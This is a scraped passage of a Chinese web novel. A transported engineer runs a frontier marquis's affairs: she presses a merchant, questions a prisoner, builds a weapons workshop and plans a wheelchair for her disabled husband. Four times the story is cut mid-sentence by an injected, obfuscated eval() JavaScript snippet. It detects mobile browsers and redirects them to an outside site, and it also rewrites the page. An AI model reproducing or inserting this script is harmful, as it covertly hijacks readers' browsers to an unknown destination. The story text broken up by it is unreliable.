“慌什么，我还没说是什么差事，若是不合钱老板的心意，岂不是强人所难了？” 姜晚似笑非笑。 钱有财刚抬起的头又低了下去：“不敢不敢！” 姜晚这才慢条斯理道：“听闻钱氏商行在不仅北境各城颇有门路，在其他各地也人脉通达。正好，我眼下缺个懂采买的。” 钱有财立刻会意：“小的愿意低价供应建造所需！不……不要钱！” “那倒不必，传出去岂不是不显得我仗势欺人，强取豪夺么？”姜晚淡淡道，“按市场价七成即可。” 钱有财还没来得及松口气，又听她道。 “另外……”姜晚扫了眼周围的流民，“这些人日后的口粮嚼用，也劳钱老板费心了。” 钱有财喉头一哽，感觉心肝脾肺肾都在抽疼，却不敢说半个“不”字，只能怪自己有眼不识泰山，猪油蒙了心，竟把注意打在了侯府夫人身上，本以为很狠狠捞一笔，没想到反而把自个儿搭进去了。 教训完钱有财，姜晚随即转向一旁面无人色的赵主簿：“赵大人，贵衙门的印信管理如此松懈，是否需要侯爷亲自过问？” 赵主簿面如土色，连连作揖：“下官失察，下官这就回去彻查！” 探完地形，安排好建造工坊的诸多事宜后，暮色渐浓，街坊人家纷纷点起灯火，晕开一片暖黄。 姜晚带着一身清寒夜气，踏入肃穆的定北侯府。沉重的朱门在她背后无声合拢，将白日的喧嚣隔绝于外。 她步履从容，穿过回廊，径直走向萧砚惯常处理公务的书房。 门扉轻启，暖融融的光晕扑面而来，萧砚正临窗坐在制作并不怎么精良的轮椅上。昏黄的灯光勾勒出他半边侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15896202|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影，大半面容也都隐在阴影里，看不真切。 “回来了？” 他并未抬头，目光仍停留在军队奏疏上。 “嗯。” 姜晚应了一声，随后简明扼要地将今日之事一一禀明，语气平静无波，就像例行公事。 事实上，萧砚并未要求她汇报每日行踪，只是姜晚觉得她既然拿了象征侯府权力的令牌，那他们现在的关系，与其说是夫妻，不如说更像上下级的关系。 既然是上下级，就要有上下级的规矩，所以她觉得自己有必要工作留痕，省得萧砚认为她拿了令牌尸位素餐。 萧砚静静地听着，姜晚目光无处安放，在室内游移片刻，最终落到他搭在轮椅扶手的手上。 那是一只修长的手，肤色是久不见日光的冷白，然而引起她注意的是虎口处的薄茧。 那绝非执笔留下的痕迹。 “处理得不错，”萧砚的声音依旧没什么起伏，听不出是赞赏还是仅仅陈述事实，“流民之事，你自行决断便是。” “是。” 姜晚应下，目光却不由自主顺着他的手移向他身下的轮椅。 轮椅很旧了，兴许是工科生的职业病，她注意到轮椅的结构有些笨重，轮轴处有轻微的磨损，扶手的高度也显得稍低了些。 一个念头从脑海中闪过，她起身，缓步走近：“这扶手似乎可以再调高些，或许能让肩颈更舒适一些。” 轮椅上有个隐蔽的榫卯结构，那里似乎有调节高度的机关，但位置设计得不太顺手，很难独自进行调整。 萧砚微微一怔，显然没料到她居然会关注这个。 他抬起头，目光终于全然落到姜晚脸上。 暖黄的灯光仿佛瞬间被点亮，清晰地映出他的面容。 姜晚呼吸一滞。 之前不是隔着摇曳不定的烛影，就是相距甚远的匆匆一瞥。更多时候，他或是背对着她望向窗外，或是垂眸避开所有视线交流。 她从未真正看清过这位名义上夫君的模样。 此刻在咫尺之距，那张脸清晰地撞入眼帘。 她以为这张脸要么沧桑憔悴，要么病容枯槁，可现实却是出乎意料的俊美，最令人心悸的是那双眼睛，深邃如同深不见底的千年寒潭，里面盛满了浓得化不开的阴郁。 他……竟然如此年轻？ 他看起来至多二十多岁，年轻得与“侯爷”这个沉甸甸的称呼格格不入。 那些关于他重伤致残，放逐出京的传言，此刻在这张年轻得过分的脸上，显得格外残酷。 “不必劳烦，习惯了。”平淡的声音带着拒人千里的意味。 “举手之劳，”姜晚微微俯身，伸手探向机关，动作十分利落，“就当我乐于助人。” 萧砚的身体几不可察地僵了下，姜晚能清晰的从那双墨色的瞳孔中看到自己的身影，以及眼底深处一闪而过的戒备。 她不动声色地收回手，直起身，面色如常，仿佛刚才的一切从未发生过。 “这机关时间久了些，有些紧涩，改日让匠人看看吧。” “……” “好。” 6.审讯 姜晚退出书房，轻手合上那扇厚重的门扉，沿着长廊缓步走回自己的院落。 冬夜的风裹着刺骨寒意，从檐角吹拂而下，卷起几片枯黄残叶在石板上翻滚，沙沙作响。 过廊下的灯笼于风中摇曳，在她的衣袂上透出斑驳光影。 在某些方面，她与萧砚似乎有种心照不宣的默契。自她踏入侯府的第一日起，二人便自然而然地分居两院，谁都不曾多问一句，仿佛这本就是理所应当的事。 穿过几重月洞门，西苑的灯火在影影绰绰中显现。 这是她亲自选定的居所，坐落于侯府的最西边，与临水坡相对而望，推开雕花窗棂，便是工坊选址之处。 窗外，夜色如墨。银辉下，是远山迤逦的轮廓。 不久之后，一座新式工坊将在此地赫然矗立。 如此，她离回家也就更近一步。 姜晚倚窗而立，唇角微扬，望向那个承载着她归乡之情的方向，满天星河落入她眼中，将一双瞳眸映得格外清亮。 她合上窗户，将寒意隔绝于外，转身来到书案旁。 案上舆图稿纸凌乱交错，她也来不及整理，挽起袖子，立刻蘸墨提笔摊开图纸，开始构思工坊机构布局。 微微破晓时，天边只浅浅亮起一线鱼肚白，姜晚扣上斗篷推门而出，半成型的工坊图纸扔摊在案上，墨迹将干，但她已无暇顾及。 李绍英连夜从军中送来消息：那胡人俘虏已绝食三日，若再不提审，恐撑不过今天。 军中关押俘虏的地牢潮湿阴暗，甫一入内，阴冷窒息的空气便裹挟着血腥味扑面而来，黏腻地冲进鼻腔，搅动胃液翻滚。 李绍英下意识看向身侧姜晚，却见她没有丝毫犹豫，利落地挽起衣袖，端起一盏油灯，连眉毛都没皱一下。 “走吧，李将军，”姜晚的声音听不出任何不适，“还需你带引路才是。” “夫人，这胡人是个硬茬，嘴硬得很，”李绍英走在前面，烛火的光影将她的影子拉得忽长忽短，“鞭子都抽断了三条，除了上次那份供词外，愣是一个字都不肯多说。” 姜晚脚步未停：“倒是挺有骨气，他叫什么？” “阿勒坦，是乌尔汗麾下将领阿六敦之子。” 铁链拖曳的声响隐隐从牢房深处传来，愈往里面走声音愈清晰。直到转过最后一个拐角，姜晚举起油灯，昏黄的光线骤然撕破黑暗。 昏暗牢房里，阿勒坦垂头丧脑，粗重冰寒的铁链锁住他的手脚，将他死死困在牢房中，褴褛单薄的衣衫下漏出累累鞭痕。 只有呼吸间的微微起伏，还昭示着他生魂未熄灭。 姜晚举着油灯走近，突如其来的亮光骤然闯入，阿勒坦颓然的身体猛地一颤，锁链发出细碎的碰撞声。 他缓缓抬起脸来，脸上血污未净，碧绿的眼睛在看清来人的那一刻，死寂的灰暗瞬间迸发出灼人的亮光。 “你杀了我阿爸！” 少年突然暴起，他猛地挣动锁链，金属碰撞的哗哗响声在牢房深处回荡，嘶哑的吼声在牢房中炸开道： “毒妇！我要杀了你！” “找死。” 李绍英蹙眉，雪亮长刀出鞘半寸，在烛火的照映下泛出森然寒光。 姜晚抬手止住，平静地注视着怒火中烧的阿勒坦：“你父亲胆大包天，敢劫掠赐婚侯府的车驾，他是罪有应得，死有余辜。” 少年双目赤红：“你放屁！” “怎么？觉得冤枉？” 李绍英冷笑，她的情绪起伏一向不大，可此刻的话语中也浸满了罕见的寒意，仿佛下一刻就要将面前这个聒噪的蛮夷开膛破肚。 “要不要我让人将你父亲屠戮城镇、残害百姓的罪证，一桩桩一件件，摆在你面前？” 闻言，阿勒坦的怒骂戛然而止，他紧抿嘴双唇，偏过头去，不再言语。 “我来这里不是兴师问罪的，”姜晚并未动怒，反而异常冷静，她从袖中取出那枚精制箭簇，寒芒闪烁，“这箭，不是你们能造出来的吧？” 她仔细观察阿勒坦的表情：“是有人给你们精兵良器，让你们送死，这才要了你父亲的命。” 少年的脸隐藏在阴影中，看不分明，姜晚敏锐地捕捉到他瞬间紊乱的呼吸。 “告诉我，是谁给了你们这么好的武器？是那个‘京里的人’？是他让你们劫掠侯府送亲车驾？” “他是不是还承诺，事成之后给你们更多精制兵器、过冬粮草，甚至……”她故意停顿，“足以让你们与大晟抗衡的军备？” “你……！” 少年瞳孔骤然收缩，眼中闪过惶恐与惊愕。他喉间发出一声低吼，像是困兽濒死前的低吟，猛地向前扑来，却被铁链拽得一个踉跄，声音哗啦作响。 姜晚乘胜追击，步步紧逼：“想想，谁给你们提供良弓劲弩？谁告诉你们送亲队伍的路线和时间？谁承诺给你们劫掠成功的好处？” “那个人，才是害死你父亲的真凶，他在利用你们，利用你们命，来达到他的目的。” 牢房里只剩下粗重的喘息声，少年倔强地别开脸去，仍是一副不肯松口的模样。 李绍英上前一步，低声道：“夫人，不如用刑？” 姜晚摇头，思忖片刻，随后忽然从袖中取出一块馕饼，这是她今早出门时随手带的，本想路上垫垫肚子。 她将馕饼掰开，递了过去：“听说你三天未进食，饿吗？” 阿勒坦愣住，随即冷笑，喉结却不受控制地滚动了一下：“谁要你的施舍？别以为我不知道你想毒死我。你们中原人惯会在饭食里下毒。” “要杀你何必浪费粮食？”姜晚自己先咬了半口，随后将半块馕饼扔进牢门缝隙。 馕饼在地上滚了两圈，倒在阿勒坦脚边。 “你部落里的老人孩子也饿着吧？” 见少年身形微颤，她继续道：“北境苦寒，暴雪肆虐，你们那支部落又处黑水河以北，向来是雪灾多发之地，去年隆冬怕是冻死了不少牛羊吧？若非活不下去，你们又怎会铤而走险，为一两句轻飘飘的承诺，便敢深入北境劫掠侯府的车驾。” 牢房里的空气仿佛凝固了，只能听到少年颤抖的呼吸声。 “我可以给你一条生路，”她轻声道，“告诉我到底是谁在指使你们，我保证你的族人以后有粮过冬。” 李绍英眉头紧锁：“夫人，这些蛮夷……” “我没见过那人的脸。”阿勒坦突然开口，声音沙哑，他艰难地吞咽了一下，“但我能听出来，他的官话说得很纯正，没有半点口音。” “还有呢？”姜晚不动声色地追问。 “他身上有种特殊的熏香，”少年皱起眉，似乎在努力回忆，“像是檀香，可又比檀香更冷，像是……” “雪中檀？” 李绍英忽然出声，面色凝重。 姜晚将目光移到李绍英身上。 “这是当年晟王府独有的香料。家父随……随当今圣上征战时，曾得过赏赐。” —— 京城，清晏园。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900214|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>幽静的祠堂内，烛火昏黄。案上香炉青烟袅袅，檀香沉郁，与闪烁烛火交织，照映着台上重重叠叠的牌位。 急促的马蹄声踏碎京街大道上的积雪，一名玄衣传令兵冒着冬雪纵马疾驰，于朱漆大门前勒马翻身而下，大步来到堂前。 “大人。” 单膝砸在石质地板上，发出一声闷响。 “北境传来密报，阿六敦……失手了。他本人及其部下，甚至连同其子阿勒坦，尽数覆灭于定北军之手。” 香灰无声坠落。 蒲团上人影未动。 一身朱红官袍灼灼夺目，衣摆垂落在地，金丝银线织就的蟒纹在烛光下若隐若现。 “我们在北境经营多年的这条眼线，断了。” 话音落地很久，那人闭目轻捻手中佛珠，却连眼皮都未曾抬起，面容始终沉静如水，仿佛他听到的只是一件习以为常的小事。 传令兵忍不住抬头：“大人，阿六敦这批线人折损殆尽，损失惨重，北境那边……” “阿六敦那帮人不过一介蛮夷，兵败如此，也是意料之中。” 那人缓缓起身，走近香案，将手中三支线香插入香炉。 “萧砚虽然废了，可他手下那些精兵良将，哪个不是当年随他在尸山血海中杀出来的？李氏旧部，还有那些久经战阵的老卒子，个个都是人中龙凤……” “阿六敦之流，不过疥癣之疾，在北境搅些小乱尚可，若指望他能掀起什么风浪，怕是痴人说梦。” 传令官更加不解：“那大人为何还要……” “为何？”那人拿起一块牌位，用锦帕轻轻拭去尘埃，动作轻柔地近乎诡异，“投石问路罢了。” 用阿六敦这块石头，去试试北境这滩浑水的深浅。 “几条蛮夷的烂命而已，算得了什么？”他将擦拭得一尘不染的牌位轻轻放回原处，“至少，让我们大致摸清北境边军现在还剩几分余力，也不算全然无用。” “可大人在北境苦心经营的眼线，就这么没了。” 那人轻声一笑：“慌什么？” 短短三个字，却让传令兵瞬时噤声。 “眼线没了，再选便是。” “这天下，最不缺的，就是活不下去，又有点用处的人。” —— 阿勒坦最新提供的线索虽然有用，但牵扯到从前的晟王，也就是当今圣上，就难以进行下去。 雪中檀乃御赐之物，能得此香者，必是朝中举足轻重的人物。 若是牵扯到朝堂，她就是想继续去追查，也有心无力。 从军牢中回来后，姜晚便闭门不出，她将那张工坊建设图补充完整，而后又将所需材料器具一一列出，差人交给刚出城谈生意回来的钱有财。 自地契一事后，钱有财被姜晚捏住把柄，果然不敢造次。清单所列，他毫无怨言，任劳任怨地去跑材料，效率惊人。 流民们也是守信，说明天上工就明天上工。天刚蒙蒙亮，工坊选址处便人影幢幢，铁锹与碎石碰撞的声音此起彼伏。 他们拆去为避风雨而搭建的简陋窝棚，清除杂草，平整土地。 不过数日，原先杂乱无章的流民窟已焕然一新，取而代之的是一座座存放材料用具的简易仓库。到了夜里，这便是他们的住处。 不出数日，钱有财便将建造所需之物预备齐全，他双手捧着清单，恭敬奉上： “夫人，请您过目。” 他低垂着头，语气比往日少了分油滑，竟意外地谨慎。 7.校场 钱有财挺着圆滚滚的肚子，面上堆满殷勤笑容。 “夫人，您瞧瞧，”他声音极尽谄媚，“按您的吩咐，建造工坊所需的一应物料全在这儿了，一样也不少，都是小的亲自走访，挑了顶好的送来的。” 姜晚接过清单，目光扫过上面密密麻麻的条目，数量和规格都标注得极其清晰。 不得不承认，钱有财此人虽惯会偷奸耍滑，但办事真是一流，短短数日便将许多繁芜事项筹措完备，就连一些北境少见的精细用具都搞到了手。 姜晚她也不由得心生敬佩：“钱老板费心了。” 钱有财额上沁出细汗，脸上却笑得褶子都绽开了花：“哎呦夫人，您这话可折煞小的了！小的刚谈完一笔大买卖，马不停蹄就回来给您置办齐了，就怕误了您的大事。夫人的命令，小的可不敢懈怠半分！” “能在谈生意的间隙把我的事办得如此周全，钱老板果真名不虚传，以后的事，恐怕还要继续劳烦了。” 钱有财笑容僵了一瞬，随即扯得更开，腰更是弯低了三分： “哪里的话！能为夫人和侯爷效力，是小的天大的福气！” 他语速极快，飞快地瞟了姜晚一眼，又迅速垂下，仿佛不敢与她对视。 姜晚将他的异样尽收眼底，却并未多言，将清单递还给他：“王师傅那边催得紧，既然东西已备齐，你尽快安排人手，将材料按图纸要求分发下去。” “是是是！小的这就去办！” 钱有财接过清单，连连躬身，几乎是如蒙大赦般地离开。 钱有财今日反应，透着心虚。 这奸商，莫非又在打什么鬼主意？ 姜晚秀眉微蹙，留了个心眼，吩咐一名机灵的流民少年暗中留意钱有财的动向。 几日后，工坊的雏形已拔地而起，坡下溪流旁，水力滑道也已挖掘成型。 这些流民干活确实卖力，只要管饱饭，给住处，他们就能使出十二分气力，把一天当作两天用。 是以短短二十余日，一座乌沉沉的崭新工坊便巍然挺立，赫然立于曾经的荒野之地，漆黑烟囱直插云霄，仿佛一只沉睡于此的猛兽。 工坊内有众多分区，各区域分工明确。 冶炼区内，三座巨型炼炉吐着火舌，昼夜不歇，赤红滚烫的铁水如岩浆奔涌。待铁水稍冷，王工匠等匠人便用长钳夹起暗红的铁锭，投入旁边的锻打区。 一切井然有序，如同流水线一般。 不久，第一批精铁制成的军需已验收完毕，皆是上品，已由李绍荣安排分发至城防军和巡边精锐。 姜晚打开系统，发现边境稳定值已经番了好几番，连带着民生幸福指数也跟着提高好几点。 今日的天气难得温煦，艳阳高照，风和日丽，竟使一向苦寒的天气也多了一份暖意。 有了阶段性成果，她心中高兴，盘算着将今日工坊进展和军需锻造的消息呈报给萧砚，于是在辰时巡视完工坊后，便回到侯府，穿过静悄悄的庭院，来到书房门前，轻轻推开，但见烛火摇曳，其间空无一人。 姜晚微怔。 萧砚行动不便，平日若无事，大多时间都在这间书房处理军务公文，否则便是由老仆推着在回廊下略坐片刻。 可现下她寻遍东苑西厢，找了大半个侯府，竟都不见踪影。 一个残废的人，能跑到那里去？ 她转身询问侍立廊下的老仆：“周叔，侯爷呢？” 周叔躬身回道：“回夫人，侯爷去了校场。” 姜晚惊异：“校场？” 那个刀光剑影，快马长弓的地方，似乎与那个总是静坐轮椅的身影格格不入。 “是。” 老管家脸上带着习以为常的神色：“侯爷素来如此。每日处理完公务，若是无事，便会让老奴推他去校场，风雨无阻。” 听了这话，姜晚瞬间脑补了很多曾经看过的小说桥段，莫非他表面是假残废，实则是习武高手？ 她衣袂带起一阵风：“我去看看。” 定北军大营位于城南，还未走近，便已听到震天的呼喝声，以及刀兵相接的铿锵锐响。 日头正盛，阳光将在场中操练的士兵影子拉得极短。 姜晚抬手遮住日光，小说中的桥段并未出现，没有飞檐走壁的绝世高手，没有突然站起的惊人逆转，她远远便看到那辆熟悉的轮椅，静静地停在演武台西侧的阴影中。 一声哨响，演武结束，士兵们三三两两散开，不少放下武器原地休息，也有不少跑下台来，聚拢在那方阴影处。 “萧将军，您看这刀！” 一个满脸络腮胡的魁梧老兵挥舞着刚领的新刀，兴奋地朝萧砚说道。 “真他大爷的顺手！砍起胡狗的骨头来，保准跟切豆腐似的！” “就是！将军，这新家伙什儿也太带劲了！”另一个也举起长枪，往地上一杵，枪尖寒芒点点，“以前那些破铜烂铁，没砍几个人就卷刃，现在可好！来一个砍一个，来两个杀一双！嘿嘿，让那帮胡蛮子尝尝厉害！” “哈哈哈！对！让那帮龟孙子也吃吃苦头！” 士兵们七嘴八舌，兴奋之情溢于言表，他们围着萧砚，不称“侯爷”，一口一个“萧将军”，语气豪迈粗野，毫无拘谨敬畏之感，反而透着股难以言喻的亲厚。 就连萧砚在此刻仿佛也像变了个人，眸中长年郁结的冰雪似乎消融了少许，往日如寒霜般凛冽的眉眼间也染上些微笑意，不似往日的阴郁，倒显得很松弛。 姜晚甚至怀疑自己眼花了。 除此之外，那些老卒子，一个一个的，眼神中都充满了毫无保留又炽热无比的忠诚。 姜晚认得出，这些人，恐怕就是李绍英曾经告诉过她的，当年萧家血战时，仅剩的随萧砚从血海里厮杀出来的老卒。 “我说怎么这般热闹，原来是你来了啊，萧二！” 一个洪亮的声音突然炸响，李绍荣从台上一跃而下，身上甲胄哗啦作响。他三步并作两步冲进人堆里，伸手毫不避讳地重重拍在萧砚肩上，全然没有当初在书房汇报公务的肃然恭立。 “贵客啊！怎么想起今儿个来了？前几日不是还说公务缠身？” 校场的喧闹在这一刻静止了片刻。 姜晚看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908154|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到萧砚非但不恼，反而低笑了一声。那声音很轻，如同冰层瞬间裂开细纹的声响，转瞬即逝。 “听闻铁官府新制了一批军械，特来验看。” 顿了顿，又补了一句：“顺便来看看你们有没有偷懒。” 李绍荣大笑一声，转身对着那帮兵卒吼了一嗓子： “听到了没？侯爷说你们练得不够狠！” 话音未落，校场中顿时响起一片此起彼伏的哀嚎和笑骂声。 “诶！小李！”一个脸上有道刀疤的老兵摩挲着新佩刀，口中赞叹连连，“这批军刀可真不赖！你小子藏着这么好的东西不早拿出来？” “这可不是我的功劳。” 李绍荣咧嘴一笑，看向萧砚的方向。 “多亏了夫人，若不是夫人的工坊造出的精铁，就凭王师傅那帮老顽固，在铁官府琢磨八百年也琢磨不出这么好的神兵利器。” 人群中顿时响起了赞叹的声音。 姜晚一直站在校场入口的阴影里，并未上前打扰。现在忽然听到自己的名字，不由得心头一紧，下意识就要转身离开，却不幸被眼尖的李绍荣看见了个正着。 “嘿！你瞧，说夫人夫人到！” 校场霎时一静，数十道目光齐刷刷射来，方才还喧闹的老兵们此刻都屏息静立。 “多谢夫人赐刀！” 不知是谁带头喊了一声。 这一声如同号令，数十名兵卒单膝跪地，齐刷刷行礼，粗犷的嗓音响彻校场。 “谢夫人赐刀！” 一阵阵响亮的道谢声倒让姜晚耳根微红，这些将士们真挚谢意让她心里发闷。毕竟她所做的一切都是为了系统任务，为了她自己回家的私心。 而这些将士的感激，却是发自肺腑，源自真心，让她有些无所适从。 姜晚缓步走进校场，余光瞥见萧砚也望向这边：“不必多礼，这是我分内之事。” “夫人太谦虚了！”人群中不知是谁激动地抹了把泪，喊了一声，“当年要是有这么好的刀，咱们早就能将胡狗杀个干净，老将军也不会……” 这声音在触及某个名字时猛然顿住。 人群唰地噤声，听不到丝毫杂音，方才还大大咧咧的老兵们此刻成了石头，像是被瞬间被抽走精气。 死寂在其中蔓延。 姜晚看见老兵们不约而同地低下头，有几个甚至悄悄抹了把脸。 她不由自主地望向萧砚。 阳光落在他的衣袍上，将腰间玄玉牌照得熠熠生辉。 萧砚看不出情绪，只是姜晚察觉到，方才的松弛早已从他身上消失。他随手抽出一名兵卒的佩刀，寒光映照在冷峻的侧脸上。 萧砚开口：“确实是把好刀。” 他抬眸，目光如潭水般幽深，而最底处，姜晚能看到深藏其中的火种。 “好刀，便要用到正处。” “都听见没？今日加练两个时辰！”李绍荣打破了可怕的沉默，他挥舞着手臂像驱赶牛羊一样，将士兵们重新赶往演武台，“别辜负了夫人的好刀！” 这次，校场上没有哀嚎，也没有嬉笑。 8.轮椅 士卒们沉默列队，重新执起新铸的兵刃回到演武台上摆开阵势。方才台下的喧嚣与热闹此刻正如潮水般褪去，转瞬即逝，仿佛被风吹散的浮云。 偌大的校场重新陷入孤寂，只余下姜晚和萧砚二人。 风卷过沙场，掠起一阵浮尘，织成金纱，与猎猎战旗一起在热烈的日光游曳飘逸。 萧砚正欲推行轮椅离去，却发现木轮被地上一处不起眼的凹坑卡住，难以移动。 他眉头微蹙，正欲发力推动那略显笨重的木轮，却忽然感到后方传来一股轻柔而坚定的力量。 盈盈梅香飘来，一双纤细却有力的手轻轻扶住轮椅把手。 “我帮你。” 姜晚温和的声音从身后传来，如晨露般清润。她双手微微一用力，便将木轮轻巧地从坑洼处带出。 他几不可察地一僵，听到熟悉的声音后随即又放松下来。 “多谢。” 他没有回头，只是方才因用力而紧攥在扶手上的手，微微松了松。 姜晚嘴角挂上浅笑：“我说过，我乐于助人。” 她的语气轻快随意，仿佛这只是她平生所做的微不足道的一桩好事。 好歹是九年义务教育出来的现代人，当年在校门口扶老人家过马路的次数，她可是得过小红花的。 姜晚为自己高尚的品德感到自豪。 演武台上，士兵沉重的踏步声和呼喝声再次响起，每一次劈砍都带有破空之声，比先前多了几分凌厉，更显得杀气腾腾。 姜晚推着笨重的轮椅，沿着一条相对平坦的小径缓缓向定北侯府驶去，皮革裹就的木轮碾过沙砾，发出轻微的“嘎吱”声。 短暂的沉默后，姜晚的声音在萧砚身后响起。 “工坊现已正式投入生产，三座新式炼炉运转良好，按进度，下一批军械补充便能下线。” 微风拂过，带来北境特有的凛冽。她顿了顿，继续道： “下一步，我打算拓宽工坊生产范围。百姓的农具也需要革新，我知道有种梨铧能深耕三尺，届时别说百姓能填饱肚子，丰衣足食，就连兵卒的粮草也绰绰有余。” 她通过系统的地质检测发现，北境具有面积辽阔的黑土地，却因坚硬的土层一复一日地荒芜着，难以开垦，所以粮食产量不足，很多兵卒都饿着肚子守城。 而有一种犁铧，专破硬土。 轮椅上的身影纹丝不动，只是静静听着，但姜晚知道，他听进去了。 因为再没有另一个人比他更清楚北境目前的艰难。 “令牌既已予你，北境诸事，你可自行决断，不必请示。” 姜晚扶着轮椅的手微微一顿：“这不是请示，是汇报。” 萧砚眉梢微动，似乎有些意外她会反驳。 “从前我与团……”姜晚突然收声，险些脱口而出的“团队”二字硬生生咽了回去。 她急中生智：“与工匠们共事时，定期商讨汇报是惯例。” 比如每周组会。 她心里默默补充道。 “互通有无也好，取长补短也罢，都是为了将差事办得更妥帖。” “此非请示，而是合作之道。” “从前？” 萧砚轻轻一语，便挑开她的破绽之处。 “嗯……”姜晚攥着轮椅把手的手心冒出细汗，仿佛瞬间回到了博士答辩现场，她眉头紧拧，绞尽脑汁地思考该怎么圆，“从前……我在京城的时候。” 萧砚并未将她的闪烁其词放在心上，默然一瞬后又望向天边，目光似乎穿过重重叠叠的云雾，落在某个看不见的地方： “如今的京城……已经时兴这种做派了么？” 姜晚听出了他语气中的怅然酸涩，方才猛然惊觉。 萧家世代京官久居于京，当年晟王登基，为护卫北疆，特地将萧家调离京城，直到镇北将军战死，固守边陲的担子又落到萧砚的肩上。 圣上的一道调令，便是十数个春秋。 故土近在咫尺，却又因一纸文书远在天涯。 轮椅上这个自幼在京中长大的人，已经十余年未曾踏足故里。 就像她现在身处异界，有家不能回一样。 姜晚突然屏住呼吸，不再言语。她竟然到现在才意识到，她和萧砚何等相似。 同样归途难觅，同样有家难寻。 “既然是京中惯例，”萧砚的声音将她从思绪里拉出，“便依你吧。” 就在话音刚落之际，轮椅行至一处稍不平整的路面，左轮似乎被什么卡了一下。 轮椅整个猛地一顿，萧砚显然早已习惯，手臂瞬间发力稳住身形，眉头都没皱一下。 倒是在后面推着的姜晚惊得发出一声低呼，她停下脚步，弯下身仔细检查，才发现是被碎石卡住了。 她忍不住抱怨起来：“这是哪个工坊做的？设计得如此不合理，转向连杆间隙这么大，难怪会被碎石卡住。” “当时用得急，是府中匠人照着图纸赶制的。他们精于兵刃甲胄，于此道，也不过是有样学样，难免纰漏，不过能用便可。” 姜晚只是习惯性吐槽，没想过得到回应，可萧砚居然真的回复了她的埋怨。 “后来用惯了，也没再更换。” 他语气平淡，仿佛在说一件与己无关的平常器物。 “日常起居，怎么能将就？” 不知是工科生的敏感，还是同为异乡人的惺惺相惜，姜晚突然冒出一个主意。 “不如我来造个新的？” 萧砚垂眸看着她专注检查的侧影，微微摇头： “不必劳烦。” “不劳烦不劳烦，我的实力你还不清楚？也就是闲暇之余顺手的事。” 姜晚将碎石丢出去，随后起身拍拍手上的尘土，一想到接下来的发明创造，她就热血沸腾，可表面上仍然保持矜持： “我保证这绝对是大晟最好的轮椅！” 萧砚抬眸，定定地看着她被日光勾勒出金辉侧脸，墨玉般的眸底映照出的身影熠熠生辉，与周遭惯常的阴郁孤寂格格不入。 尽管姜晚已极力克制，可语气中仍有抑制不住的兴奋。 沉默片刻，他最终应道： “好。” —— 翌日清晨，姜晚带着新鲜出炉的图纸径直找到王工匠等几位老匠人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920118|176529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她将新设计的轮椅图纸在干净的案台上摊开，将各位匠人招呼过来： “诸位，来瞧瞧这个。” 匠人们围拢过来，这段时日姜晚时常拿出稀奇古怪的图纸找他们商讨，是以工匠们已经进化出不管她拿出的什么稀奇的事物，都见怪不怪的能力。 可当他们的目光落于其上时，仍不由得惊呼出声。 “我的天老爷，这是什么？” “这是椅子吗？” “去去去！谁家椅子有轮子！这分明是轮椅！” “妙啊！” 年轻匠人啧啧称奇。 “这设计，这结构，比军弩还精巧！侯爷用着肯定舒服多了！” 大家七嘴八舌地议论着，无不被姜晚精妙的设计折服，直呼“神乎其技”，“闻所未闻”。 姜晚轻咳一声，周遭熙熙攘攘的声音逐渐平息，她道：“诸位，我来这儿，是想让各位瞧瞧，这张图纸还有何改进之处？” 她虽然对自己的技术有自信，可毕竟自己不是神，百密必有一疏。 围观众人皆叹服，唯有王工匠一直拧着眉头。大家都清楚，王师傅若是觉得不妥，便是侯爷亲至也敢直言。 “夫人，”王工匠终于开口，“此物尚需斟酌。” 通过前段时日的相处，他虽然很敬佩这位侯府夫人，可若是在做工问题上有什么差池，他照样直言不讳。 “夫人的设计，有些华而不实。” 众人瞬间安静，惊讶地看着他。 王工匠指着图纸，毫不客气：“您瞧瞧这，这些弯弯绕绕的连杆，还有这精密轴承，这得耗多少工时？” “还有夫人，你在轮椅上设计这么多暗格机关用意何在？恕我不解其意。轮椅重在轻便实用，过多的设计只会适得其反。” 